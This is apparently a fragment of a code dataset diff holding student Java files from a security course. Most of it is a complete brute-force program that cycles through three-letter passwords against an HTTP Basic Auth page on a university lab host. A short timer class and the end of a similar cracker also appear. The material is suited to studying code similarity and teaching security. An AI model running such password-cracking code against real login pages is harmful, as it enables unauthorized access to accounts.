+        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
+        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
+       }
+       System.out.println(""Response ""+t+"" was ""+response);
+       System.out.println(""The successful password was ""+cad[t]);
+        finish = new Date().getTime();
+       float totaltime = (float)(finish-start)/1000;
+       System.out.println(""Total time: ""+totaltime+"" seconds"");
+   }
+}
+
+"	230.java
+174.java	" 
+
+
+
+
+import java.util.*;
+import java.io.*;
+
+public class MyTimer
+{	
+
+	public static void main(String args[])
+	{
+		Watchdog watch = new Watchdog();
+		Timer time = new Timer();
+		time.schedule(watch,864000000,864000000);
+		
+			
+	}
+}
+"	135.java
+086.java	"import java.net.*;
+import java.io.*;
+import java.*;
+
+ public class BruteForce {
+
+   URLConnection conn = null;
+   private static boolean status = false;
+
+   public static void main (String args[]){
+     BruteForce a = new BruteForce();
+     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
+     				 """",
+     				 """"};
+     int attempts = 0;
+     exit:
+     for (int i=0;i<pwdArray.length;i++) {
+		 for (int j=0;j<pwdArray.length;j++) {
+			 for (int k=0;k<pwdArray.length;k++) {
+				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
+				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
+				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
+				 attempts++;
+     			 a.doit(inp);
+  
+  				 if (status) {
+					 System.out.println(""Crrect password is: "" + inp[2]);
+					 System.out.println(""Number of attempts = "" + attempts);
+					 break exit;
+			 	 }
+     			 inp[2] = """";
+		 	 }
+	 	 }
+      }
+     }
+
+   public void doit(String args[]) {
+     
+     try {
+       BufferedReader in = new BufferedReader(
+           new InputStreamReader
+              (connectURL(new URL(args[0]), args[1], args[2])));
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           status = true;
+           }
+       }
+     catch (IOException e) {
+   
+       }
+     }
+
+   public InputStream connectURL (URL url, String uname, String pword)
+        throws IOException  {
+     conn = url.openConnection();
+     conn.setRequestProperty (""Authorization"",
+     userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+   public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+   private final static char pwdArray [] = {
+	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
+	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
+	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
+	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
+	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
+	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
+	        'W', 'X', 'Y', 'Z', ' '
+  };
+
+   private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+   private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+        case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"	"155.java	087.java	243.java"